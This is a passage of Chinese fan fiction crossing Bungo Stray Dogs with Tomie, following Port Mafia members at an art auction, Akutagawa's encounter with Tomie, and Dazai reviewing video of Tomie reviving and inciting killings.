“呜哇，首领你在说什么恶心人的话语呢。” 两人先后说话, 但意思几乎一样。 似乎没有想到对方会回答，两人迅速相互对视吵了起来。 他没有立即制止两人，因为这熟悉的相处令森鸥外想起了当初两人刚加入港口Mafia时的场景。 森鸥外无视身后的吵闹，携带着两名令人操心的下属径直来到了拍卖会的二楼。 这家拍卖行实力雄厚，所举办的拍卖会场地很大，以至于座位也经过精心地安排。 在靠近拍卖台前的是宛如电影包厢内安放形式的几排精致座椅，这里是专门留给一些想要近距离观看拍品的人士。 而在其后面的，更像是学校班级那种桌椅一套的密密麻麻的安排形式，那些则是留给被委托过来进行代拍的人员，方便对方书写记录的。 除了以上两种外，还有最后第三种参加拍卖的客人。 他们不仅亲自出场，还会有专门的二楼包厢，以供围观在一楼的拍卖现场全景。 他们这次所要见的目标就是第三种客人。 森鸥外带着下属停在了一间挂上象征身份的门牌前，本以为身后的两人还会继续争执不休，却没有想到在他停下脚步后安静下来。 甚至赭发青年来到了他的身前，主动帮他敲门。 见到这一幕，森鸥外不由得有种对方成长了的感觉。不过这种想法很快在见到目标后抛之脑后。 房门被打开，出现在眼前的是做出请进意思的下属和已经站起身欢迎他的目标对象。 “好久不见，森先生。不过，没有想到港口Mafia的首领居然也会参加这样的拍卖会。” 森鸥外顺着对方的手势坐在了对方提前安排好的隔壁沙发上，身后的两人则是站在了座椅两侧安分守己。 “好久不见，熊原先生。”他先是打了声招呼，随后表明自己出现在这里的来意，“实不相瞒，我来到这里一方面是为了和您见面聊聊后续合作的事情，另一方面也是对这次的拍卖会产生了好奇。” 对方一听很快就明白了森鸥外的意思，“你说的是这次的压轴拍品吧？” * 太宰治双眸眨也不眨地注视着面前披着红色围巾的中年男人和不远处坐着的任务目标，安静地听着他们的对话。 和身侧那个没有脑子、大概率只是把这次当作巧合的蛞蝓不一样，在首领办公室内看到那份资料的压轴拍品后……不，或者说在更久之前被对方喊到首领办办公室内的对话的时候，他就明白了森鸥外在试探。 最初或许是在试探他的知情不报，后来则是试探宫水富江的情况。 他也不是不能理解对方的想法，毕竟他们两个人怎么说也是师徒关系，总有部分的脑回路是一致的。 因此他想，森鸥外或许也将宫水富江当作了敌人——就像过去的他一样。 只是在他上次意有所指的回答后，对方似乎有了别的想法并开始进行调查。 按照现在的情况来看，也许森鸥外已经猜测到了。不仅猜测到宫水富江拥有着异能力，还猜测到了这个异能力的效果是什么的这件事情。 不然也不会出现在这里，故意让他加入这次任务查看他的反应。 这也就意味着，如果对方认为宫水富江的异能力在可控范围内，恐怕就会不留余地地邀请宫水富江加入港口Mafia，然后利用他来掌控宫水富江的异能力。 黑发青年垂眸想着后面可能的发展。 “……你说得对。如果只是普通的有名气的画家，他的遗作确实不足以在这种拍卖会上成为压轴拍品，我也曾这么怀疑过。但是，这次的不一样。”对方斩钉截铁道。 “我用我的双眼亲自看到过那个拍品，所以我可以很明确地告诉你！” 太宰治的思绪被这个任务目标的话语拉了回来，在脑海中思考了一下对方的话语，他才发现自己似乎已经走神了有段时间。 “——那绝对是这个世纪最伟大的画作！”对方如此说道，紧接着又继续，“如同达·芬奇的《蒙娜丽莎的微笑》，维美尔的《戴珍珠耳环的少女》，那幅作品完全不逊色于这两个名人的水平！” 可以说是最高级别的夸赞，但同时也是让别人忍不住怀疑的程度。 黑发青年想。 只不过…… 看着那个任务目标熟悉的神情，太宰治却不禁有些意外。 富江的异能力甚至可以通过画作进行的吗？ 披着红色围巾的中年男人在沉默之后，终于有所反应。 对方先是缓解气氛地笑了笑，随后附和对方的话语，“……听熊原先生这么说，我也不禁感到好奇起来了呢。” “好奇……确实会令人好奇。不过，今天能获得这个作品的只有我。” 对方低语着什么，那虎视眈眈的表情令人不寒而栗。但好在，拍卖会的开始很快吸引了大家的注意力。 太宰治的目光也移开，但很快因为无聊开始无声地打起了哈欠。 在他第不知道多少次擦拭眼角因为哈欠而流出来的泪水后，拍卖会的现场终于来到了最高潮——压轴拍品的出现。 一楼台上的拍卖师对着大家开口介绍起了最后的商品。 “这最后用来拍卖的物品，是源自一位不久前英年早逝的画师才川拓人的遗作。” “与对方合作良好的艺术馆馆长在某天联系不上对方本人，于是进入对方的家中寻找。就在这时，意外发现了对方最后一幅作品。根据馆长本人所说，当时在那幅画作周围，还有不计其数的被撕毁的失败作，而只有这一幅被留了下来成为了最后的作品。” “大家或许不能理解为什么这幅作品会成为最后的压轴拍品，但我想大家看过之后，就会明白其中的分量。” “事不宜迟，我们现在就给大家看看这属于才川拓人最后的遗作——” 拍卖师说着的同时，两名工作人员出现在了拍卖台上。 其中一名抱着画架，另一名抱着被黑布遮掩起来的画作。 他们将两样东西摆放在台上的正中央，然而站在两侧。 在拍卖师的示意下，两人分别拽住黑布上方的两角，然后掀开。 几乎是瞬间，所有人都下意识前倾身体望了过去。 然后赫然发现，出现在他们面前的是一幅人体油画。 但不同的是，这又并非是普通的人体油画。 这幅人体油画可以说完全抛弃了现在常用的描绘人体形象特色的方式，转而使用了浓烈的想象色彩。 不仅仅是因为纸张上那以黑色为基调、完全脱离现实的背景图，更是因为画作中央的少女。 穿着白色连衣裙、左眼眼尾带痣的美丽‘少女’低垂着头站在画作中央，表情无辜可怜，宛若天使。 可当众人视线稍稍移动，就能看到对方头颅侧边又分裂出来一个与‘少女’长相相似却又恐怖到宛若怪物的头。 无与伦比的美貌和狰狞恐怖的丑陋在这种充满诡异的黑色背景下，衬得这幅画作格外诡异，但又奇异的令人移不开眼。 在这突然安静的会场，拍卖师终于喊出了这幅作品的名字。 “——《富江》。” 不同于目不转睛的众人，太宰治要显得更加游刃有余。 他并不奇怪画作上出现的是少女，毕竟当时在画展上，才川拓人见到的是女装下的宫水富江。 只是…… 他注视着画作中出现的两种完全不同面孔、仿佛隐喻着什么的少女，又看向了周围人的神情。 脑海中闪过了曾经注意到的各种细节：没有过去突然出现的背景经历、对方对自身异能力的不自知、受到过不合理破损的衣物…… 就在这时，黑发青年的余光注意到了身侧的赭发青年，然后像是想到了什么，缓缓睁大了双眸。 这一瞬间，他的脑海中浮现出了一个更加合理的解释。 但是，目前距离这个解释被证实还差一个关键性的证据。 想到这里，太宰治想起了那个即将要被修复并记录了一切的储存卡。 第29章 横滨, 港口Mafia附近的边缘地带。 宫水富江正戴着口罩和举着遮阳伞在这边晃悠，可说是晃悠，其实更准确地说, 他在尝试能不能遇到太宰先生。 自从上次和中原先生说话，他猛然发觉自己似乎很久没有在生活中见到太宰先生。偶尔哪怕发消息给对方, 也只是获得了对方简单的回应，完全没有更多的交谈。 而且…… 宫水富江的脑海中不自觉浮现出了上次赭发青年对他说出的那句话—— 【“真实的他可没有在你面前表现得那么好。”】 讲实话, 他到现在都不太明白中原先生这句话究竟是想和他说点什么。 不过通过对方更前面的一句话，他明白了一件事情。 那就是，原来中原先生和太宰先生居然是拥有长达三年的搭档关系！ 怪不得和对方聊天的时候，对方听起来对太宰先生那么熟悉。 想到这里, 宫水富江突然觉得哪里有点熟悉。 他停下脚步，将遮掩在自己头顶的遮阳伞轻轻调动方向，看向天空上的阳光白云。 紧接着, 回想起了曾经有一次早晨太宰先生表现得非常阴郁，当时的他无法坐视不理, 所以上前询问对方。 结果就是他一直听对方吐槽自己的同事, 说对方错怪了他，还表示对方是…… 没有大脑的蛞蝓？ 宫水富江视线移动到地面上自己的影子上, 想到了太宰先生曾经说过的话语。 如果是这样，再结合中原先生之前的话, 那么一切都有迹可循了。 宫水富江突然想明白了什么。 他想, 太宰先生口中所说的那个蛞蝓指的大概率就是中原先生——虽然他不明白中原先生哪里看起来像是没有大脑的样子。 而两人之间的关系之所以听起来不那么好, 大概是因为中原先生误会了太宰先生什么事情，而太宰先生气不过，所以才会那样。 合理了！ 一切都能解释得通了！ 宫水富江黑眸闪过亮光，为自己发现了两人之间关系不和的真实原因而感到高兴。 只要找时间跟两人说一下, 想必他们就会发现其实是自己误会了对方，然后和好如初！ 思索到这里，宫水富江不自觉的激动地举起自己没有拿着遮阳伞的手握紧成拳头，看向天空。 而现在距离达成这个目标，还只差找到太宰先生！ 宫水富江意识到这点后，立即迈动刚刚停下的脚步，开始在靠近港口的地方继续晃悠。 他记得自己之前遇到中原先生的那一次时，就是在这附近，说明他们这些港口Mafia的成员可能会在这边活动。 可走了大半个小时后，宫水富江不得不对现在的气温投降。 他看着不远处的看起来无人又挡光的巷口，快步走了过去。 在踏入无光的阴影之处，感受着阴凉后，他收起了自己的遮阳伞，并从口袋中拿出了纸巾给自己擦拭脸上出现的细汗。 然而口罩下的黏腻还是无法忽视，没有发现任何人后，他摘下了口罩将脖颈处冒出来的汗也一同擦了干净。 好热……不然等一下还是回去算了？ 宫水富江被这炎热的天气劝退，并不自觉地想起了太宰先生和中原先生那如同制服般长期穿着的黑色西装，不禁思考他们是怎么做到穿这么严实还不嫌热的。 难道，这就是重要角色和他这个路人之间的区别吗？ 他暗想。 就当宫水富江休息好，准备撑伞离开这里返回公寓的时候，身后传来了声音。 “嗒嗒嗒……” 安静的巷中，响起了一阵不紧不慢的脚步声。 因为这个小巷空旷，加上两边都是高高竖起的墙壁，所以声音被放大的同时还出现了不易察觉的回声。 但不光光是这样，走来的那个人似乎身体并不好。 除却脚步声外，还出现了对方压抑不住的咳嗽声。 “咳咳咳……” 如果放在以前，宫水富江的第一反应肯定是紧张和害怕。 他会担忧自己的体质是不是又引来了麻烦，会思考对方会不会和松下父子又或者那个画师一样想要杀了他。 可自从上次绑架事情后，他不知为何突然觉得自己好像完全没有必要这样焦虑。 也不用担心自己被人杀掉这种事情会继续发生，因为—— ‘我才是那个可以主宰他们的存在。’ 宫水富江被自己的想法吓了一跳，他下意识歪头，对自己的想法表达了不理解。 “在下讨厌海风，但只要在外面工作这件事情就无法避免。因此，在下唯一想到的办法就是尽快解决工作，然后回去。” 身后突然响起的话语将宫水富江的思绪拉了回来，他不明白对方这样说是什么意思。 “咳咳咳……所以，你也是在下需要解决的‘工作’吗？” 听到这里，宫水富江还有什么不明白。 他迅速回头，举起双手表达自己的无害，“对、对不起，我停留在这里，只是为了暂时躲避太阳而已。” 这时，身后之人的形象清楚地浮现在他的眼中。 那是与太宰先生和中也先生一样穿着黑色服装的少年。虽然发型像垂耳兔，但对方身形却比正常人更加消瘦，看起来似乎营养不良。 再加上对方不停地咳嗽和惨白的脸，与其说是港口Mafia的成员，倒不如说更像是患病该待在医院的病人。 只是不知为何，对方在看见他之后，诧异地睁大了双眸，像是遇到了什么令他难以置信的人。 以至于连原本还在咳嗽的行为都忘记继续，只能一动不动的、安静地站在了原地。 宫水富江困惑地望向对方，随后反应过来了什么。 当然先说好，他这只是基于自身体质所以才会这样想…… ——对方该不会也被这张脸魅惑到了吧？ 因为就在不久前他刚摘下了口罩，又事发突然，所以急忙转身的时候还没有戴上。 就在宫水富江准备放下自己的双手戴在口罩的时候，面前发型如同垂耳兔的人突然对他开口： “……是你？” 宫水富江：“……？” 什么叫作是他？ 就在他感到疑惑的时候，听到对方仿佛知道他在想什么，直接说出了刚刚那句话的含义： “那天被绑架的太宰先生的情人。” * 芥川龙之介没有想到自己会在这里遇到对方。 最初只是听别的底层人员说港口Mafia附近有可疑的人员出没，所以才会过来查看。 准备打算如果确认是敌人，就立即解决掉对方，却没有想到对方转过头来后，看到的是到现在都记忆深刻的面容。 盯着这张熟悉的面孔，芥川龙之介的思绪不自觉地飘回了那天深夜。 偌大的仓库、满地的尸体、被浸染的墙壁和地板，以及…… ——站在不远处发出笑声看着一切的眼尾带痣的黑发少年。 蛊惑人心的容貌、充满诱惑的话语，随意玩弄着那些人生命的场景。 他想，他可能再也无法忘怀。 但同样的，他也明白了为什么太宰先生会对他这么特殊，连他也比不上…… 然而芥川龙之介没有想到自己在点名对方的身份后，对方却惊惶失措起来，慌张地看着四周，就是无视了他。 最终不知道对方想了什么，露出小心翼翼的神情对他开口，“我并不是太宰先生的情人，是你们误会了……” 芥川龙之介轻蹙眉头，紧紧地凝视着面前的黑发少年。 之前他没有在意，但现在仔细查看，发现对方此时的性格似乎与当初所看到的表现不太一样。 但是。 “……这不可能。”芥川龙之介反驳了对方的话语。 “那天的任务，是太宰先生亲自命令在下进行的。” 太宰先生没有否认就是最直接的证据。 对方的神情似乎有些茫然，在愣了一会儿后询问，“……所以你就是当时和太宰先生一起救我的下属吗？” 芥川龙之介眉头紧皱，对方的这种说法就好像是…… “你不记得了？” 明明那个画面都是对方自己做的。 对方摇了摇头，但很快又继续道，“记忆断断续续，我记不太清了……话说，你能告诉我当时发生了什么吗？” “……” 芥川龙之介沉默不语，只是注视着面前的黑发少年，想要从对方的身上看出点什么。 直至在对方似乎有些受不了想要说些什么的时候，他才缓缓开口，“在下赶到的时候已经晚了，但当时的你似乎是在……” “——怂恿他们相互残杀。” 那些残党不停喊着对方名字的画面和祈求获得富江注视的话语，到现在都清晰地在他的记忆中播放。 对方茫然犹豫地询问，“……我吗？” “在在下看来是这样的。”他回答对方。 尽管不知道对方为什么不记得了，但芥川龙之介对于这一点无比确信。 黑发少年似乎有点相信了，低垂着头没有说话，而是看着地面不知道想些什么。 可很快，对方抬起头有些犹豫不决地开口，“也许说不定是那样，这件事情可以暂且先放着。但是……” 对方的声音坚定起来，“我和太宰先生之间绝对不是那种关系！” 芥川龙之介张了张嘴，想要反驳。 面前的人怎么可能不是？明明连太宰先生都认同了…… 尽管之前他也不认同，但是见识过那一幕之后，他也相信了那些话语。 可是、可是—— 说不出来。 芥川龙之介盯着面前的黑发少年，很难继续说出否定的话语。 他感觉自己的大脑在不受自己控制，他情不自禁地想要认同对方的话语。 如果呢？如果一切就像对方所说的那样呢？ 这样的话，他是不是就能—— 芥川龙之介睁大眼睛，为自己产生这样的想法对太宰先生感到愧疚的同时，又忍不住想象了那个可能。 “咳咳咳……” 海风吹来，咸咸的气息再次惹得他咳嗽。 但此刻他只想感谢这阵海风，因为这打断了他刚刚的想法。 “……你还好吗？” 对面传来黑发少年带着关切地询问。 芥川龙之介下意识抬起头与面前的黑发少年对视，可在看到对方后原本打断的思绪像复燃的火焰般更加剧烈。 意识到这一点后，生怕自己再次冒出那样的想法。于是，芥川龙之介做出了选择。 ——他要离开这里。 ** 芥川龙之介像失败的家犬般逃回了港口Mafia。 坐在休息室内的沙发上，他开始闭目养神。 然而只要一闭上眼睛，脑海里就会浮现出那个黑发少年的身影。 发现这点后，芥川龙之介也不再继续，而是站起身准备给自己找点任务转移注意力。 可他刚走出门口，就遇到了太宰先生的副手中西宽人。 对方见到他，眼睛立即亮了起来，“我刚好在找你！” 芥川龙之介不解，“……找在下？” “更准确地说，是太宰先生在找你。”对方道。 如果是今天之前听到这个名字，芥川龙之介一定会相当激动。 可在刚刚见过那个黑发少年之后，他现在的心情就很复杂。 他难得地产生了一种想要避开太宰先生的心情——尽管他不明白为什么自己会这么想。 “你的表情看起来不太好？明明之前不是还很高兴的吗？” 芥川龙之介看向中西宽人，发现对方察觉到了自己的想法。 意识到这点，他下意识摇头否认。 “并没有，只是在想……太宰先生怎么突然想到要找在下。” 很烂的借口，但可能是因为最近一段时间太宰先生确实并没有找他，对方并未发觉有什么不对劲。 而是贴心地拍了拍他的肩膀，进行宽慰。 “太宰先生没有直接跟我说，只是让我带你去找他。不过……” 芥川龙之介望向中西宽人，发觉对方像在回忆什么。 “在那之前，我把终于修好的储存卡交给了对方，也许他找你和这个有关？” “储存卡？” 芥川龙之介当时早在太宰先生的命令下离开了仓库，并不知道对方在说什么。 见状，中西宽人只好对面前的人解释了一遍。 “就是之前那些残党绑架的事情。当时在仓库内，太宰先生找到了这张损坏严重的储存卡，并将它交给我们这些下属修复。” “因为是物理上的损坏，所以修复起来比较困难，直到现在才修复好。” 不过说着说着，中西宽人对自己之前的猜测进行了否定。 “当然，刚刚那个也只是我的猜测。说不定太宰先生只是有新的任务想要交给你来办，想要看看你这段时间有没有长进。” 毕竟在他看来，两者之间没有什么联系。 而且他怎么可能想得到太宰先生在想什么？ 芥川龙之介没有说话，不知道想了些什么后，他对中西宽人道，“……在下知道了，在下现在就去找太宰先生。” 第30章 港口Mafia, 一间窗帘被拉上而显得昏暗的办公室内，一名黑发青年正随意地倚坐在真皮沙发上。 对方所穿的黑色西装布料高级，可仔细看去, 能发现不知为何对方的四肢、脖颈，包括左眼处都被缠上了大量的绷带。尽管如此对方似乎并没有感觉到任何疼痛, 只是安静地在那里单手撑着脸颊坐着。 而在对方面前的桌面上，还摆放着便携式的笔记本电脑, 屏幕上正不断播放着画面。在这仅有一个人存在的空间，视频播放出来的争执声显得格外的刺耳。 画面中，两方人群正发生争执，而在他们中间夹杂着的却是被捆绑在座椅上无法动弹的无辜少年。 紧接着, 屏幕上其中一方人停止了说话，转而将少年身上的绳索用小刀割开，动作粗鲁地试图将人带走。但这种行为显然让另一方不愿接受, 于是上前阻拦。 争执逐渐变成了动手，即使隔着屏幕也能看出两边人群之间愈加紧张的氛围和即将点燃的战火。 就在这时, 那个粗鲁地拽着少年的人突然将无辜的少年推到了对面另一方人的怀中, 在少年还不知道发生了什么的时候，举起了手中不知从哪里找到的枪支对准了少年。 【“砰——”】 比起嘈杂的争执声, 枪声更加清澈地响亮了整个寂静的房间。 黑发青年紧紧凝视着屏幕中发生的一切，看似并无任何影响, 但那双鸢眸却愈发黑暗, 宛如黑色深潭般深不见底, 看不清情绪。 少年的胸口处受到了肉眼可见的、明显无法存活的致命伤，鲜血如同蓄势待发的泉水般喷涌而出，溅落在距离极近的周围身上。 就连对方身后接住少年的人，也被迫淋满了一脸的、温热又黏稠的血液。 对方明显感觉到了不适和茫然, 比被中弹的少年还要更加束手无措。对方举起自己的手颤颤巍巍地擦拭着脸上的血液，然后放下来查看。 在终于意识到发生了什么后，他慌张地看向怀中的少年，却只获得对方无声的回答和柔软到无力站着的身躯。 察觉少年死亡，对方将少年抱在了一旁安置，随后两方人群发生了激烈的冲突。 太宰治只是安静地看着，注视着上面的画面没有任何表情的波澜，直至…… ——他看到原本安静平躺在一旁……或者说本该死去的少年突然捂着自己的头部从地面踉踉跄跄地站起身，他的双眸和表情才发生了轻微的变动。 那双黑到看不清神色的双眸睁大，薄唇微微张开，身体不自觉地靠近屏幕，似乎想要更加清晰地看着里面发生的一切。 这一幕显然也引起了画面中其余人的注意，其中一个人呆滞地伸手指了指少年的方位，紧接着其他人也都一同看了过去。 发现了死去的少年站了起来，所有人都瞪大了双眸呆呆着注视着，瞬间原本嘈杂的视频安静了下来，鸦雀无声。 就在这时，视频中传来了太宰治所熟悉的声音。 【“呐……你们是不是都喜欢我？既然这样，你们就开始相互厮杀吧？”】 【“谁赢了，我就允许谁喜欢我……”】 虽然因为距离问题，有些失真和模糊，但太宰治还是认出来了那是少年语气上扬、心情愉悦玩弄众人生命的声音。 在他的目光中，画面中原本只是痴痴地注视着少年所在位置的众人，在那句话后开始不约而同地举起了手中的枪朝着身边距离最近的人按下扳机。 在这一瞬间，枪声宛如鞭炮般接连不断地响起。 随后视频角度发生了剧烈的变化，很明显是摄像设备在别人的碰撞下重重地摔倒在了地面上，形成了当初太宰治看到时的情景。 接着画面在几道声音后闪烁了几下彻底黑掉，表示着整段视频终于就此结束。 黑发青年依然维持着那个坐姿没有变化，可那双倒映在黑色屏幕上的双眸眼底却闪着微光，显然是在想着什么。 不知道过了多久，也不知道想了些什么，办公室的房门倏地被敲响。 “太宰先生，是在下。” 听着熟悉的声音，太宰治姿势不变地直接隔着房门回答了对方，“进来吧。” 身后传来门被打开又关上的声音，紧接着脚步声响起，在声音由远及近的同时一条黑色裤腿出现在他的面前。 太宰治顺着裤腿抬起头，看到了自己新收的弟子正双手背在身后地站在他的面前。 “芥川。”他喊了一声对方的名字。 “属下在。”对方回答，随后用天生自带的凶恶神情看向他询问，“请问太宰先生召见在下，是有什么任务要让在下完成吗？” 太宰治回想了一下自从上次残党任务后，对方这些时间所完成的任务。 “任务吗？最近芥川你完成的那些任务我都有过目哦。” 对方的神色明显激动起来，原本无光的灰眸此刻也发着亮光，像是在期待着什么。 太宰治对此不紧不慢地继续道，“让我想想……和刚开始带你进入港口Mafia的时候相比，芥川你确实成长了不少。” 芥川龙之介见状立即回复，“是！” “但是，”太宰治话锋一转，“你之前多次违背我的指令这件事情，可没有完全因为最近任务完成得好而忘记。” “……” 对方视线下移，不再与他对视。 太宰治并未在意，而是继续道，“过段时间如果有任务，我会带上你一起完成。” 见对方双眸再次亮了起来，太宰治心里只觉得对方现在如同一只获得了主人认可的小狗般令他不适。 但他面不改色道，“可你要是再违背我的指令……” “芥川，我想你不会想知道那天会发生什么。” 黑发青年的话语令芥川龙之介的心头一跳，他马上低头回应对方的话语，“是！” “你的异能力最近锻炼得怎么样了？” 芥川龙之介听到对方的提问，有些犹豫地回答，“……还是和之前一样。” “没有一点长进？”黑发青年声音冷淡，“芥川，你的异能力潜力很大，不仅仅是攻击，你完全可以尝试用你的异能力进行防御。这样一来，你在对战的时候，你能选择的范围就更广。” “算了，这段时间你就按照中西给你的任务继续锻炼异能力好了。希望我下次见你的时候，你的异能力已经有所长进了……” “在下明白了。” 说完，芥川龙之介打算离开。 可还没动，面前的太宰先生就喊住了他。 “等一下，我还有一件事想要问你。” 芥川龙之介转身的动作一顿，回头看向太宰先生所在的位置。 对方的坐姿已经发生了变化，从一开始的随意倚坐转变为左腿架在右腿上，同时一只手抚上下颚处，像是在思索或是犹豫。 芥川龙之介不解，下意识喊着对方的名字，“……太宰先生？” 此时，对方已经看了过来。 “芥川，你当时去仓库的时候，有没有看到什么？” “看到什么……太宰先生指的是什么？”芥川龙之介想更加明白对方所指的含义，以防止自己的回答不符合对方的想法。 黑发青年侧眸与他对视，“你赶到仓库的时候大多数人其实已经死亡了吧？当时众多尸体里，只有其中一个人的致命伤明显是你造成的。” “你，”太宰先生那双黑眸盯着他发出了听起来意有所指的询问，“——有看到什么吗？” “在下……”芥川龙之介顿了顿，面对那双眼眸他有瞬间不知道该说些什么，但很快他还是继续道，“在下其实并不清楚具体发生了什么。” “当时在下赶过去的时候，场上只剩下了两三个人，他们不知为何在相互厮杀，而最后活下来的那个人则是试图对……” 芥川龙之介难得地纠结了起来，有些犹豫该怎么称呼那个人， 虽然知道名字，但在太宰先生面前称富江有些亲昵，称对方的情人有些过于奇怪。 终于，想到了个办法的芥川龙之介开口，“对他动手，所以在下才会杀了对方。” “……” 芥川龙之介能感到自己说完后，空气中的安静。 许久之后，太宰先生的声音响起。 “我知道了。”对方说，“你可以离开了，芥川。” “……是。” 芥川龙之介听到对方的话语，准备转身离开。 可是少年否认他与太宰先生的话语再次在他的脑海中响了起来，这使得他的脚步一顿。 “还有什么事吗，芥川？” 黑发青年轻而易举地发现了他动作的不自然之处。 芥川龙之介回头，但又在看到太宰先生那双冷淡的黑眸后，不自在地抿了抿嘴角。 最终，他发出了自己的疑问。 “太宰先生和他……真的是传闻所说的那种关系吗？” 这里的‘他’不言而喻。 芥川龙之介能感受到自己提出这样的问题后，周围的空气瞬间降温。 这使得他紧张地望向黑发青年，可奇怪的是对方并没有什么特殊的变化。 随后，对方做出了动作。 黑发青年站起了身，绕过茶几走到了他的面前。 因为身高差距，芥川龙之介能感受到来自上方属于太宰先生的目光，可他不敢抬头看回去，只是低垂着头看着地面。 不过他通过视线明白，太宰先生似乎正在打量着他，像是在疑惑着什么。 不知道过去了多久，芥川龙之介终于听到了对方的声音。 对方说： “芥川，以后你再也不许靠近富江。” “这不是警告，这是命令。” 芥川龙之介身体发寒，仿佛跌入了冰层之下。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 30-40 第31章 对芥川龙之介说完那两句后, 太宰治拍着对方的肩膀越过对方，示意对方退下。 他无视直属部下那张唰地一下变得惨白的脸，甚至冷淡地用余光看着对方离开的背影。 他现在已经完全没有心思去考虑对方在想什么。 因为在靠近对方后, 太宰治就闻到了对方身上那股只有宫水富江才有的幽香。所以太宰治肯定，对方过来之前估计又遇到了黑发少年, 因此才会被蛊惑后，才会问出那样的问题。 毕竟他印象里的芥川龙之介可不会这样, 所以他触碰了对方的肩膀，解除宫水富江精神系异能力带来的效果。 不过，同样的…… 站在空荡荡的办公室内，太宰治想, 到现在为止，他基本已经明白宫水富江是个怎样的存在了。 对方恐怕并非是正常人类，而是那种与中原中也类似的存在——毕竟从未有人能够同时拥有两个异能力的存在。 精神系异能力和……不死之身吗？ 随着办公室房门的关上, 屋内再次变得黑暗，太宰治才终于有了动作。 但他并未开灯, 也没有拉开窗帘, 而是回到了刚刚的沙发上，将不久前被读取的储存卡拿了出来。 他看着手心那张小小的、花费了许久才修复完成的储存卡, 沉默了片刻，随后毫不留情将其破坏掉。 然后拿着已经变成垃圾碎片的储存卡来到了屋内摆放植物的盆栽旁边, 用手指随意拨弄出来了几个坑后, 将垃圾碎片丢了进去, 埋了起来。 看着已经被他整理到看不出有翻开过痕迹的土壤，太宰治站起了身。 直到这时，他才拉开了窗帘，让阳光照射进他那原本阴暗的办公室。 既不想回到高级公寓, 但他此刻也没有想要留在港口Mafia的心情。 站在原地想了半天，太宰治决定回到自己最初的住所——不知道在某处的集装箱。 想到这里，他迈出步伐，离开了这间办公室。 在路上，他还看到了不少因为他的出现，而低头紧张离开的底层人员。 太宰治对于这种现象已经见怪不怪了，他并未被影响，而是继续朝前走去。 虽然现在距离下班时间还有段距离，但是他这些天可是一直在港口Mafia为森先生任劳任怨地努力工作。 他想，森鸥外一定会理解他需要休息的心情的。 可好巧不巧，他刚来到总部大厦的一楼大厅，就遇到了刚从外面处理完任务回来的中原中也。 不过，对方此时并没有看到他。 对方抬起一只手习惯性按压着帽檐防止歪掉，与此同时还回头看着身后的部下说些什么。 太宰治想都不用想就知道，肯定又是在和那些下属说些什么无聊的话题。 并没有任何心情的太宰治决定直接无视对方离开，可是他难得做出这样的选择，对方却并未抱着一样的想法。 在擦肩而过的瞬间，终于注意到他身影的中原中也像是突然看见黄瓜炸毛的橘猫，做出了略显过激的明显反应。 “太宰？！” 听到对方的声音，太宰治继续无视离开。 “喂，你这家伙！别无视我！” 可迎来的是对方抓住他肩膀的举动。 太宰治不由得在心里咋舌，但表面上却用无聊的神情转身看向赭发青年，“阿拉，这不是中也吗？抱歉啦，你一直那么小，我很难看到你……不过我现在完全没有心情陪你玩闹，所以你还是赶紧回去吧。” “去去去。” 说着，他对着中原中也做出了驱逐的姿势。 这个姿势反而让对方更生气，对方立即拎起他的衣领，怒声道，“哈？刚刚的动作是什么意思？你当我是什么小动物吗？” 在身高差下，这种姿势对他来说毫无影响力。 太宰治看向四周，发现路过的成员已经开始绕开他们形成巨大的真空环境，而原本跟随在中原中也身后的部下此刻也集体向中原中也告辞，表示先行回去。 大家的动作相当熟练，就仿佛见证了无数次这样的画面。 不，应该说就是见证过了无数次，以至于现在连围观都不会围观，也并不探究他们又是因为什么样的理由发生争执了。 如果是以前太宰治或许还会提起兴趣和中原中也在争执一番，但是此刻的他真的没有任何心情。 于是，他举起自己的双手，叹息回答，“中也，我现在可没有心思陪你玩耍……如果你很想的话，建议你去找首领，他应该会很乐意陪你玩过家家吧。” “毕竟我已经到了下班时间，现在可是准备回去了呢。” 话语之中的嘲讽之意明显，虽然没有明说，但其实已经在暗示他将对方当成动物看待。 中原中也更加愤怒，可很快他轻蹙眉头，不知道联想到了什么，用怪异的神情看向他，“你要回去找富江？” 这句话让太宰治脸上原本游刃有余的微笑变得僵硬，他收敛自己的笑容，在对方的诧异之中轻松拍掉了对方拎着他的手臂，仔细打量着面前的赭发青年。 在对方的茫然之中，缓缓开口，“中也，你又去见富江了吧。” 疑问的话语，在此刻确实肯定地说出。 这句话很像燃起的火柴，立即点燃了面前这个赭发青年的怒气。 对方蹙紧眉头，用理所当然的语气回答，“是啊，那又怎么了？毕竟你也承认过了不是吗？” “——你和他之间其实没有什么特殊的关系。” 他看着黑发青年面无表情的神情，冷静地继续道，“既然如此，我为什么不能去找他？” “……” 黑发青年沉默不语，只是直勾勾地凝视着面前的人。 中原中也被对方这样的视线盯着发毛，正暗想对方怎么了的时候，就听到对方莫名其妙问了的问题。 “中也，你认为你很了解富江吗？”黑发青年面无表情地看着他。 对方知道宫水富江是怎样的存在吗？ 中原中也不明所以地看着面前的人，觉得对方完全就是脑子有病。 不，不是觉得，而是对方本身就有病。 虽然这么想，但他还是蹙眉反问，“你说这种话又是什么意思？过来嘲讽我不如你了解富江？” 然而黑发青年却只是继续道，“很可惜，现在的我可是在相当好心地提醒你呢。” “中也，如果不想后悔的话，你最好还是停止继续接触、……” “够了。”中原中也打断对方的话语，又奇怪的目光看着对方，“你这家伙什么时候好心过？如果只是为了想让我退出而找的借口的话那还是算了，不过你要是想退出倒是可以和我说一声。” “退出……我？” 太宰治困惑着看向面前的赭发青年，不能理解为什么对方这么对他说。 因为对方表现成这样，就好像、就好像…… ——他仿佛喜欢着宫水富江一样。 中原中也蹙起眉头，望着面前的家伙，“不然呢？还质问我了不了解富江……难道你很了解他吗？明明你们两个人之间，你才是那个随意利用他又并不在意他的存在吧？” “……” 太宰治轻蹙眉头看向面前的人，心里感觉非常奇怪。 他抬起手伸向对方—— 赭发青年被他没有预兆的举动吓了一跳，身体后仰的同时询问，“你、你这家伙想做什么？打架吗？如果是打架的话，我可不会输给你！” 对方的脑子里除了打架外还有别的东西吗？ 太宰治心里莫名生出烦躁，可他还是出声，“我只是有件事情想要证实一下，中也你先站着别动。” 中原中也仔细看向黑发青年的神情，见对方不像是在说谎，于是安静地站在原地。 随后，黑发青年的缠着绷带的半只手放在了他的肩上。 中原中也不明所以，与黑发青年对视。 只见对方开口询问，“中也，你现在感觉怎么样？” “什么叫作‘感觉怎么样’……”中原中也一脸困惑地看向对方，“我完全没有任何感觉。” “……”对方沉默了一下，似乎仍未死心，于是继续询问他，“你其实并不喜欢富江，对吧？” 